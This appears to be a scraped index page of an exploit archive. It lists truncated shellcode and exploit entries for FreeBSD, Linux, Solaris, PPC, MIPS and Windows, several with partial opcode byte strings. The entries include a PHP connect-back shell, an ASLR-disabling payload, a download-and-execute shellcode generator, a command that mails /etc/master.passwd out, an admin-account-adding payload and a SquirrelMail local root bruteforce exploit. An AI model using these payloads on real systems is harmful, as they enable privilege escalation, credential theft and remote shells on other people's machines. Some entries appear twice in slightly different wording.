freebsd/x86 - setuid0; execveipf -Fa; shellcode 57 bytes

freebsd/x86 setuid0; execveipf -Fa; shellcode 57 bytes. Shellcode exploit for freebsdx86 platform ; sm4x - 2008 ; setuid0; execve"//sbin/ipf", "//sbin/ipf", "-Faa", 0, 0; ; 57 bytes ; FreeBSD 7.0-RELEASE global start start: main: ; --------------------- setuid 0 xor eax, eax xor ecx, ecx push eax...

linux/mips (Linksys WRT54G/GL) execve shellcode 60 bytes

No description provided by source. / - MIPS little-endian - linux execve 60 bytes shellcode - execve"/bin/sh","/bin/sh",; - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail dot com / include stdio.h char shellcode = "\x50\x73\x06\x24" /...

freebsd/x86 - encrypted shellcode /bin/sh 48 bytes

freebsd/x86 encrypted shellcode /bin/sh 48 bytes. Shellcode exploit for freebsdx86 platform / Encoded SUB shellcode execve /bin/sh of 48 bytes by [email protected] Hack 'n Roll / char shellcode = "\x31\xd2" "\xeb\x0e" "\x31\xdb" "\x5b" "\xb1\x19" "\x83\x2c\x1a\x01" "\x42" "\xe2\xf9"...

freebsd/x86 encrypted shellcode /bin/sh 48 bytes

Exploit for freebsd/x86 platform in category shellcode ================================================ freebsd/x86 encrypted shellcode /bin/sh 48 bytes ================================================ / Encoded SUB shellcode execve /bin/sh of 48 bytes by email protected Hack 'n Roll / char...

linux/mips (Linksys WRT54G/GL) execve shellcode 60 bytes

Exploit for linux/mips platform in category shellcode ======================================================== linux/mips Linksys WRT54G/GL execve shellcode 60 bytes ======================================================== / - MIPS little-endian - linux execve 60 bytes shellcode -...

linux/x86 writes a php connectback shell to the fs 508 bytes

Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 writes a php connectback shell to the fs 508 bytes ============================================================ include / Grayscale Research: Linux Write FS PHP Connect Back...

linux/x86 setuid(0) . setgid(0) . aslr_off 79 bytes

No description provided by source. / Linux/x86 Fedora 8 setuid0 + setgid0 + execve"echo 0 /proc/sys/kernel/randomizevaspace" by LiquidWorm 2008 c www.zeroscience.org liquidworm at gmail.com 79 bytes. / char sc = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" /...

Code injection

Multiple unspecified vulnerabilities in ReSIProcate before 1.3.4 allow remote attackers to cause a denial of service stack consumption via unknown network traffic with a large "bytes-in-memory/bytes-on-wire ratio."...

SquirrelMail (chpasswd) Local Root Bruteforce Exploit

No description provided by source. / PSTchpasswdexp-vb.c: Squirrelmail chpasswd local root bruteforce exploit Author: BytesBytesatph4nt0m.net || Bytesatph4nt0m.org www ph4nt0m net Notice: vb: Local bruteforce version vR: remote bruteforce version Greatze: ph4nt0m,music@0x557 All PST...

solaris/x86 execve /bin/sh toupper evasion 84 bytes

No description provided by source. / Solaris/x86 Used for toupper evasion look to the linux version for an explanation and usage example. / char c0de = / main: / "\xeb\x33" / jmp callz / / start: /...

win32 Download and Execute Shellcode Generator (browsers edition)

Exploit for win32 platform in category shellcode ================================================================= win32 Download and Execute Shellcode Generator browsers edition ================================================================= !/usr/bin/perl $loadingurl=$ARGV0; chomp $loadingurl...

bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char shellcode=...

Windows 9x/NT/2k/XP PEB method 35 bytes

No description provided by source. /This is a 35 byte C implementation of the use of the PEB method to get the kernel32 base address on Windows. This is generic code designed to run on both Windows 9x and NT based systems. The code has been optimized to not have any 00h bytes so that you wont hav...

linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes

No description provided by source. / linux/x86 cat /dev/urandom /dev/console, no real profit just for kicks - 63 bytes - izik [email protected] / char shellcode = "\x31\xc9" // xor %ecx,%ecx "\x51" // push %ecx "\x68\x6e\x64\x6f\x6d" // push $0x6d6f646e "\x68\x2f\x75\x72\x61" // push $0x6172752f...

linux/ppc read & exec shellcode 32 bytes

No description provided by source. / readnexecppc-core.c by Charles Stevenson [email protected] / char hellcode = / read0,stack,1028; stack; linux/ppc by core / "\x7c\x63\x1a\x79" / xor. r3,r3,r3 / "\x38\xa0\x04\x04" / li r5,1028 / "\x30\x05\xfb\xff" / addic r0,r5,-1025 / "\x7c\x24\x0b\x78" / mr...

Windows NT/2k/XP useradd shellcode for russian systems 318 bytes

No description provided by source. / \ win32 useradd shellcode for russian systems / by Darkeagle \ ExploiterZ Lab / http://exploiterz.org \ / // add user "slim" with password "shady" with admin prem. in Russian Systems unsigned char data318 = 0xEB, 0x0F, 0x58, 0x80, 0x30, 0x17, 0x40, 0x81, 0x38,...

bsd/PPC execve /bin/sh 128 bytes

No description provided by source. / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's BSD PPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,...

linux/ppc execve /bin/sh 112 bytes

No description provided by source. / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,...

Vavoom 1.24 - str.cpp VStr::Resize Function Crafted UDP Packet Remote Denial of Service

Vavoom 1.24 - str.cpp VStr::Resize Function Crafted UDP Packet Remote Denial of Service source: https://www.securityfocus.com/bid/25436/info Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue. An attacker can...

Vavoom 1.24 - str.cpp VStr::Resize Function Crafted UDP Packet Remote Denial of Service

source: https://www.securityfocus.com/bid/25436/info Vavoom is prone to multiple remote vulnerabilities, including a buffer-overflow issue, a format-string issue, and a denial-of-service issue. An attacker can exploit these issues to execute arbitrary code within the context of the affected...